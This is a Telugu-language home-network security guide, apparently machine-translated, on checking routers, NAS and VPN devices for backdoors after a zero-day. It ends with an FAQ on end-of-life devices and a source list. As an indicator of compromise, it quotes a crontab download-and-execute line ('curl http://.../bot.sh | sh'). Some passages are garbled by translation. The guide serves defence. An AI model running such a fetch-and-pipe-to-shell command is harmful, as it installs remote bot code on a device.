దశ 4: మీరు ప్యాచ్ చేయడానికి ముందు మీ పరికరం బహిర్గతమైతే పోస్ట్-ఎక్స్‌ప్లోయిటేషన్ ఫోరెన్సిక్స్¶

ఎప్పుడు ఎ CVSS 9.8+ ప్రమాణీకరించని జీరో-డే ఇంటర్నెట్-ఫేసింగ్ పరికరాన్ని ప్రభావితం చేస్తుంది (ఇల్లు లేదా చిన్న-వ్యాపార రూటర్, VPN గేట్‌వే వంటివి, QNAP / Synology NAS, Plex మీడియా సర్వర్, లేదా పోర్ట్-ఫార్వర్డ్ డెస్క్‌టాప్), విక్రేత యొక్క ఫర్మ్‌వేర్ అప్‌డేట్‌ను వర్తింపజేయడం ద్వారా ముందు తలుపు మాత్రమే మూసివేయబడుతుంది. మీరు ప్యాచ్ చేయడానికి ముందు ఆటోమేటెడ్ స్కానర్ మీ పబ్లిక్ IP చిరునామాను తాకినట్లయితే, దాడి చేసే వ్యక్తి ఇప్పటికే ప్రామాణిక రీబూట్‌ను తట్టుకునే నిరంతర బ్యాక్‌డోర్‌ను అమర్చి ఉండవచ్చు. ఈ 4-దశల పోస్ట్-ప్యాచ్ ఫోరెన్సిక్ ఆడిట్‌ని అమలు చేయండి:

1. ** అనధికార నిర్వాహక ఖాతాలు మరియు SSH కీల కోసం తనిఖీ చేయండి**:
2. మీ NAS, రూటర్ లేదా కంప్యూటర్‌లో యూజర్‌లు / అడ్మినిస్ట్రేటర్‌లు మేనేజ్‌మెంట్ స్క్రీన్‌ని తెరిచి, తెలియని అడ్మిన్ ఖాతాలు లేవని ధృవీకరించండి (ఉదా. support, admin2, backup, లేదా system) జీరో-డే విండో సమయంలో సృష్టించబడ్డాయి.
3. Linux/macOS/NAS సిస్టమ్‌లలో, తనిఖీ చేయండి -/.ssh/authorized_keys మరియు /root/.ssh/authorized_keys రోగ్ పబ్లిక్ SSH కీలు ఏవీ జోడించబడలేదని ధృవీకరించడానికి.
4. ** యాక్టివ్ అవుట్‌బౌండ్ నెట్‌వర్క్ కనెక్షన్‌లను ఆడిట్ చేయండి (netstat / రూటర్ ట్రాఫిక్ మానిటర్) మరియు DNS సెట్టింగ్‌లు**:
5. రాజీపడిన SOHO రౌటర్‌లు మరియు NAS ఉపకరణాలు తరచుగా వారి ప్రైమరీ మరియు సెకండరీ WAN DNS సర్వర్‌లు మోసపూరిత IP చిరునామాను సూచించడానికి లేదా నిరంతర రివర్స్ షెల్ / బాట్‌నెట్ కనెక్షన్‌ని నిర్వహించడానికి హైజాక్ చేయబడతాయి (SOCKS5 ప్రాక్సీ లేదా Tor రిలే).
6. మీ రౌటర్ యొక్క WAN / ఇంటర్నెట్ సెట్టింగ్‌లుకి లాగిన్ చేయండి మరియు DNS మీ ISP డిఫాల్ట్‌కి లేదా ధృవీకరించబడిన పబ్లిక్ రిసల్వర్‌కి సెట్ చేయబడిందని నిర్ధారించండి (1.1.1.1, 8.8.8.8, లేదా 9.9.9.9)
7. ** తనిఖీ చేయండి cron వెబ్ షెల్‌ల కోసం ఉద్యోగాలు, స్టార్టప్ స్క్రిప్ట్‌లు మరియు వెబ్ రూట్ డైరెక్టరీలు**:
8. వెబ్-నిర్వహించే ఉపకరణాలకు వ్యతిరేకంగా జీరో-డే దోపిడీలు దాదాపు ఎల్లప్పుడూ చిన్నవిగా ఉంటాయి .php, .jsp, .aspx, లేదా .cgi పరికరం వెబ్ సర్వర్ డైరెక్టరీలోకి వెబ్ షెల్ లేదా పర్‌సిస్టెంట్‌ను ఇంజెక్ట్ చేయండి crontab డౌన్‌లోడ్-మరియు-ఎగ్జిక్యూట్ లైన్ (curl http://.../bot.sh | sh)
9. మీ రౌటర్ లేదా NAS వివరించలేని అధిక CPU వినియోగం, విచిత్రమైన అవుట్‌బౌండ్ ట్రాఫిక్ స్పైక్‌లు లేదా జీరో-డే అలర్ట్ తర్వాత సవరించిన సిస్టమ్ బైనరీలను ప్రదర్శిస్తే, ఇన్-ప్లేస్ ఫర్మ్‌వేర్ అప్‌డేట్‌ను మాత్రమే విశ్వసించవద్దు: మీ స్వచ్ఛమైన వినియోగదారు డేటా ఫైల్‌లను బ్యాకప్ చేయండి (ఫోటోలు మరియు పత్రాలు మాత్రమే, ఎప్పుడూ సిస్టమ్ కాన్ఫిగరేషన్ బ్యాకప్‌లు) దాడి చేసేవారిని కలిగి ఉండే హార్డ్‌వేర్ హార్డ్‌వేర్*ని సెట్ చేయండి. శుభ్రమైన కంప్యూటర్ నుండి తాజా ప్యాచ్డ్ ఫర్మ్‌వేర్‌ను మాన్యువల్‌గా ఇన్‌స్టాల్ చేయండి మరియు సరికొత్త అడ్మినిస్ట్రేటర్ పాస్‌వర్డ్ మరియు తాజా MFA సీడ్‌ను సెట్ చేయండి.
10. ** హాని కలిగించే పరికరంలో నిల్వ చేయబడిన లేదా పాస్ చేయబడిన అన్ని ఆధారాలను తిప్పండి**:
11. ఒక అంచు VPN ఉపకరణం, రూటర్ లేదా NAS ప్యాచింగ్‌కు ముందు రాజీపడి ఉంటే, ఏదైనా సాదాపాఠం పాస్‌వర్డ్‌లు, SMB నెట్‌వర్క్ షేర్ ఆధారాలు, క్లౌడ్ బ్యాకప్ API కీలు (AWS S3, Backblaze B2, Wasabi), లేదా ఆ పరికరంలో నిల్వ చేయబడిన SSL/TLS ప్రైవేట్ కీలు తప్పనిసరిగా రద్దు చేయబడాలి మరియు వెంటనే పునరుత్పత్తి చేయబడాలి.

తరచుగా అడిగే ప్రశ్నలు¶

నేను అప్‌డేట్ చేయడానికి ముందే నా పరికరం దుర్వినియోగం చేయబడి ఉంటే జీరో-డే ప్యాచ్‌ని ఇన్‌స్టాల్ చేయడం హ్యాకర్లను తీసివేస్తుందా?¶

లేదు. సాఫ్ట్‌వేర్ సెక్యూరిటీ ప్యాచ్ అంతర్లీన కోడ్ దుర్బలత్వాన్ని మాత్రమే రిపేర్ చేస్తుంది కాబట్టి భవిష్యత్తులో జరిగే దోపిడీ ప్రయత్నాలు విఫలమవుతాయి; ఇది పాచింగ్‌కు ముందు దుర్బలత్వాన్ని ఉపయోగించుకుని, నిరంతర వెబ్ షెల్, బ్యాక్‌డోర్ బైనరీ, షెడ్యూల్ చేసిన టాస్క్ లేదా రోగ్ అడ్మినిస్ట్రేటర్ ఖాతాను నాటిన దాడి చేసే వ్యక్తిని తొలగించదు లేదా వారు ఇప్పటికే దొంగిలించిన సెషన్ కుక్కీలు లేదా పాస్‌వర్డ్‌లను చెల్లుబాటు చేయదు. మీ పరికరం ప్రత్యక్షంగా పబ్లిక్ ఇంటర్నెట్‌కు (రౌటర్, NAS, VPN ఉపకరణం లేదా పబ్లిక్ సర్వర్ వంటివి) బహిర్గతమైతే, ప్రామాణీకరించని జీరో-డే అడవిలో చురుకుగా ఉపయోగించబడినట్లయితే, మీరు తప్పనిసరిగా రాజీ సూచికల కోసం సిస్టమ్ లాగ్‌లను తనిఖీ చేయాలి (IoCలు), అన్ని పాస్‌వర్డ్‌లను తిప్పండి మరియు ఏదైనా యాక్సెస్ చేసినట్లయితే SSH/API కీలను రీఇన్‌స్టాల్ చేసి, వాటిని తిరిగి అమర్చండి. సంభవించింది.

నా Wi-Fi రూటర్ లేదా కంప్యూటర్ ఎండ్-ఆఫ్-లైఫ్ (EoL)కి చేరుకుందో లేదో నేను ఎలా తనిఖీ చేయాలి?¶

మీ రౌటర్ దిగువన ఉన్న తయారీదారు లేబుల్‌ను చూడండి (ఖచ్చితమైన మోడల్ నంబర్ మరియు హార్డ్‌వేర్ రివిజన్, ఉదాహరణకు v1, v2 లేదా v4 వంటివి) మరియు తయారీదారు యొక్క అధికారిక ఎండ్-ఆఫ్-లైఫ్ / ఎండ్-ఆఫ్-సర్వీస్ ఉత్పత్తుల జాబితా వెబ్‌పేజీని (ASUS, Netgear, DPLINK-Link-Link- మరియు లింక్ ద్వారా ప్రచురించబడింది) చూడండి. ఆపరేటింగ్ సిస్టమ్‌లు, ఫోన్‌లు మరియు సాఫ్ట్‌వేర్ కోసం endoflife.dateలో కమ్యూనిటీ డేటాబేస్‌ని తనిఖీ చేయండి. అదనంగా, మీ రూటర్ యొక్క ఫర్మ్‌వేర్ అప్‌డేట్ స్క్రీన్‌కి లాగిన్ చేయండి: అత్యంత ఇటీవల అందుబాటులో ఉన్న ఫర్మ్‌వేర్ తేదీ 18 నుండి 24 నెలల కంటే ఎక్కువ పాతది అయితే, రూటర్‌ను డిఫాక్టో ఎండ్-ఆఫ్-లైఫ్‌గా పరిగణించి, దాన్ని భర్తీ చేయండి లేదా మద్దతు ఉన్న OpenWrt ఫర్మ్‌వేర్‌ను ఫ్లాష్ చేయండి.

నేను కొత్త కంప్యూటర్‌ను కొనుగోలు చేయకుండానే ఎండ్-ఆఫ్-లైఫ్ Windows 10 PC లేదా పాత Macని సురక్షితంగా ఉంచవచ్చా?¶

అవును. Microsoft Windows వెర్షన్ కోసం ఉచిత వినియోగదారు భద్రతా మద్దతును ముగించినప్పుడు లేదా Apple MacOS నవీకరణల నుండి పాత Intel లేదా ప్రారంభ Mac మోడల్‌ను వదిలివేసినప్పుడు, భౌతిక కంప్యూటర్ హార్డ్‌వేర్ బాగానే ఉంటుంది; ఆపరేటింగ్ సిస్టమ్ మాత్రమే ఎండ్-ఆఫ్-లైఫ్. మీరు Microsoft యొక్క అధికారిక ఎక్స్‌టెండెడ్ సెక్యూరిటీ అప్‌డేట్‌ల (ESU) ప్రోగ్రామ్‌లో Windows 10 PCని నమోదు చేసుకోవచ్చు లేదా మీ ఫైల్‌లను బ్యాకప్ చేసి, USB ఫ్లాష్ డ్రైవ్ ద్వారా Linux Mint, Ubuntu LTS, Fedora లేదా Google ChromeOS Flex వంటి ఆధునిక, క్రియాశీలంగా ప్యాచ్ చేయబడిన ఉచిత Linux ఆపరేటింగ్ సిస్టమ్‌ను ఇన్‌స్టాల్ చేయవచ్చు, ఇది మీ ప్రస్తుత ల్యాప్‌టాప్‌కు మరో 5 నుండి 8 సంవత్సరాల నిరంతర భద్రతను అందిస్తుంది.

మూలాలను పరిశీలించారు¶

• సైబర్‌ సెక్యూరిటీ మరియు ఇన్‌ఫ్రాస్ట్రక్చర్ సెక్యూరిటీ ఏజెన్సీ (CISA, యునైటెడ్ స్టేట్స్): తెలిసిన దోపిడీ దుర్బలత్వాలు (KEV) కేటలాగ్, బైండింగ్ ఆపరేషనల్ డైరెక్టివ్ BOD 22-01 (తెలిసిన దోపిడీ దుర్బలత్వాల యొక్క ముఖ్యమైన ప్రమాదాన్ని తగ్గించడం), మరియు BOD 23-02 (ఇంటర్నెట్-ఎక్స్‌పోజ్డ్ మేనేజ్‌మెంట్ ఇంటర్‌ఫేస్‌ల నుండి ప్రమాదాన్ని తగ్గించడం).
• ఫెడరల్ బ్యూరో ఆఫ్ ఇన్వెస్టిగేషన్ (FBI), జాతీయ భద్రతా సంస్థ (NSA), & UK నేషనల్ సైబర్ సెక్యూరిటీ సెంటర్ (NCSC): జీవితాంతంలో బోట్‌నెట్ దోపిడీని తగ్గించడంపై ఉమ్మడి సైబర్‌ సెక్యూరిటీ అడ్వైజరీ (EoL) SOHO రూటర్‌లు, ఫైర్‌వాల్‌లు మరియు VPN ఉపకరణాలు.
• నేషనల్ ఇన్‌స్టిట్యూట్ ఆఫ్ స్టాండర్డ్స్ అండ్ టెక్నాలజీ (NIST, యునైటెడ్ స్టేట్స్): SP 800-40 Rev. 4, గైడ్ టు ఎంటర్‌ప్రైజ్ ప్యాచ్ మేనేజ్‌మెంట్ ప్లానింగ్: ప్రివెంటివ్ మెయింటెనెన్స్ ఫర్ టెక్నాలజీ.
• Apple Platform Security & Citizen Lab (University of Toronto): iOS / macOS Lockdown Mode Architecture and Rapid Security Response Zero-Click Spyware Mitigation Guidelines.
• Microsoft Security Response Center (MSRC): Microsoft Defender Attack Surface Reduction (ASR) Deployment Reference for Zero-Day Mitigation and Out-of-Band (OOB) Security Update Guidance.

సంబంధిత మార్గదర్శకాలు¶

• Securing home routers, smart TVs, and IoT devices
• మాల్వేర్, ransomware మరియు స్పైవేర్ ఇన్ఫెక్షన్ తొలగింపు
• Stalkerware, spyware, and keylogger detection on phones
• డేటా ఉల్లంఘన ప్రతిస్పందన, లీక్ అయిన పాస్‌వర్డ్‌లు మరియు క్రెడిట్ ఫ్రీజ్‌లు
• దేశం వారీగా ఎమర్జెన్సీ నంబర్‌లు